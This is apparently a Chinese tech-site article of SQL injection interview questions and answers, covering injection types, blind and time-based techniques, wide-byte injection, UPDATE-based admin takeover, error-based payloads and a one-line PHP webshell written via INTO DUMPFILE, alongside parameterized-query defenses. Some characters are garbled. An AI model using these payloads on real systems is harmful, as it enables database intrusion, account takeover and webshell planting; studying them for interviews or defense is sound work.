溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

SQL注入滲透測(cè)試以及護(hù)網(wǎng)面試題有哪些

發(fā)布時(shí)間:2022-01-07 15:36:55 來(lái)源:億速云 閱讀:138 作者:iii 欄目:開(kāi)發(fā)技術(shù)

這篇文章主要介紹“SQL注入滲透測(cè)試以及護(hù)網(wǎng)面試題有哪些”的相關(guān)知識(shí),小編通過(guò)實(shí)際案例向大家展示操作過(guò)程,操作方法簡(jiǎn)單快捷,實(shí)用性強(qiáng),希望這篇“SQL注入滲透測(cè)試以及護(hù)網(wǎng)面試題有哪些”文章能幫助大家解決問(wèn)題。

SQL 注入漏洞成因、注入的類(lèi)型和方式、防范?

提交錯(cuò)誤語(yǔ)句是否有異常,除此之外這些顯示的錯(cuò)誤可以通過(guò) sleep,修眠語(yǔ)句執(zhí)? 5 秒,通過(guò) DNSlog 判斷傳回值等。

select * from news where id = '$SQL';

當(dāng)程序執(zhí)?訪(fǎng)問(wèn)新聞等?些操作都會(huì)執(zhí)?到 sql 語(yǔ)句進(jìn)行調(diào)用,如果在此調(diào)?過(guò)程中,提交了不合法的數(shù)據(jù),?數(shù)據(jù)庫(kù)?法識(shí)別則會(huì)報(bào)錯(cuò)。也就是?切輸?都是有害的。

注入類(lèi)型有 6 種,可以參考 SQLMAP,報(bào)錯(cuò)、盲注、聯(lián)合、時(shí)間、內(nèi)聯(lián)、堆疊

注入提交方式:GET、POST、Cookies、?件頭

防范: 邊界 -> CDN(內(nèi)容分發(fā)網(wǎng)絡(luò)) -> 腳本語(yǔ)?過(guò)濾 -> 數(shù)據(jù)庫(kù)過(guò)濾最小權(quán)限 -> 主機(jī)

盲注是什么?怎么盲注?

盲注是在 SQL 注?攻擊過(guò)程中,服務(wù)器關(guān)閉了錯(cuò)誤回顯,我們單純通過(guò)服務(wù)器返回內(nèi)容的變化來(lái)判斷是否存在 SQL 注?和利?的?式。
盲注的?段有兩種,

?個(gè)是通過(guò)??的返回內(nèi)容是否正確 (boolean-based),來(lái)驗(yàn)證是否存在注?。

?個(gè)是通過(guò) sql 語(yǔ)句處理時(shí)間的不同來(lái)判斷是否存在注? (time-based),在這?,可以? benchmark,sleep 等造成延時(shí)效果的函數(shù),也可以通過(guò)構(gòu)造?笛卡?積的聯(lián)合查詢(xún)表來(lái)達(dá)到延時(shí)的?的。

寬字節(jié)注入原理

1、產(chǎn)?原理

在數(shù)據(jù)庫(kù)使?了寬字符集而 WEB 中沒(méi)考慮這個(gè)問(wèn)題的情況下,在 WEB 層,由于 0XBF27 是兩個(gè)字符,在 PHP 中?如addslash 和 magic_quotes_gpc 開(kāi)啟時(shí),由于會(huì)對(duì) 0x27 單引號(hào)進(jìn)?轉(zhuǎn)義,因此 0xbf27 會(huì)變成 0xbf5c27, ?數(shù)據(jù)進(jìn)?數(shù)據(jù)庫(kù)中時(shí),由于 0XBF5C 是?個(gè)另外的字符,因此 轉(zhuǎn)義符號(hào)會(huì)被前?的 bf 帶著 “吃掉”,單引號(hào)由此逃逸出來(lái)可以?來(lái)閉合語(yǔ)句。

2、根本原因

character_set_client(客戶(hù)端的字符集) 和 character_set_connection(連接層的字符集) 不同, 或轉(zhuǎn)換函數(shù)如,iconv、mb_convert_encoding 使?不當(dāng)。

3、解決辦法

統(tǒng)?數(shù)據(jù)庫(kù)、Web 應(yīng)?、操作系統(tǒng)所使?的字符集,避免解析產(chǎn)?差異,最好都設(shè)置為 UTF-8?;?qū)?shù)據(jù)進(jìn)?正確的轉(zhuǎn)義,如 mysql_real_escape_string+mysql_set_charset 的使?。

SQL 里面只有 update 怎么利用

先理解這句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就實(shí)現(xiàn)了注?

1、修改 homepage 值為 http://xxx.net’, userlevel='3

之后 SQL 語(yǔ)句變?yōu)?/p>

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel 為?戶(hù)級(jí)別

2、修改 password 值為 mypass)’ WHERE username=‘admin’#

之后 SQL 語(yǔ)句變?yōu)?/p>

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3、修改 id 值為 ’ OR username=‘admin’ 之后 SQL 語(yǔ)句變?yōu)?/p>

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

為什么參數(shù)化查詢(xún)可以防止SQL 注入?

原理:

使?參數(shù)化查詢(xún)數(shù)據(jù)庫(kù)服務(wù)器不會(huì)把參數(shù)的內(nèi)容當(dāng)作 sql 指令的?部分來(lái)執(zhí)?,是在數(shù)據(jù)庫(kù)完成 sql 指令的編譯后才套?參數(shù)運(yùn)?。

簡(jiǎn)單的說(shuō): 參數(shù)化能防注?的原因在于, 語(yǔ)句是語(yǔ)句,參數(shù)是參數(shù),參數(shù)的值并不是語(yǔ)句的?部分,數(shù)據(jù)庫(kù)只按語(yǔ)句的語(yǔ)義跑。

報(bào)錯(cuò)注入的函數(shù)有哪些?

and extractvalue(1, concat(0x7e,(select @@version),0x7e))
通過(guò)floor報(bào)錯(cuò) 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
exp()select from test where id=1 and exp(~(select * from(select user())a));

延時(shí)注入如何來(lái)判斷?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

盲注和延時(shí)注入的共同點(diǎn)?

都是?個(gè)字符?個(gè)字符的判斷。

sql 注入寫(xiě)文件都有哪些函數(shù)?

select '?句話(huà)' into outfile '路徑'
select '?句話(huà)' into dumpfile '路徑'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php;

如何防護(hù)SQL注入攻擊呢?

1.對(duì)代碼進(jìn)行過(guò)濾非法符號(hào)如</?&>之類(lèi)的,對(duì)一些腳本標(biāo)簽scrpt以及img或frame都進(jìn)行過(guò)濾和替換。

2.對(duì)一些函數(shù)變量直接進(jìn)行強(qiáng)制定義,比如金額函數(shù)這里直接限定只能寫(xiě)入正整數(shù)類(lèi)型的數(shù)值,那么其他的參數(shù)像姓名的話(huà)可以直接限定到只允許寫(xiě)入中文和英文的數(shù)值,其他的以此類(lèi)推。

3.對(duì)一些帶入數(shù)據(jù)庫(kù)查詢(xún)和更新的語(yǔ)句,一定要看看get或post過(guò)來(lái)的數(shù)據(jù)參數(shù)是否是直接把參數(shù)類(lèi)型鎖定好了的,防止被注入惡意語(yǔ)句導(dǎo)致被攻擊。

關(guān)于“SQL注入滲透測(cè)試以及護(hù)網(wǎng)面試題有哪些”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí),可以關(guān)注億速云行業(yè)資訊頻道,小編每天都會(huì)為大家更新不同的知識(shí)點(diǎn)。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

sql
AI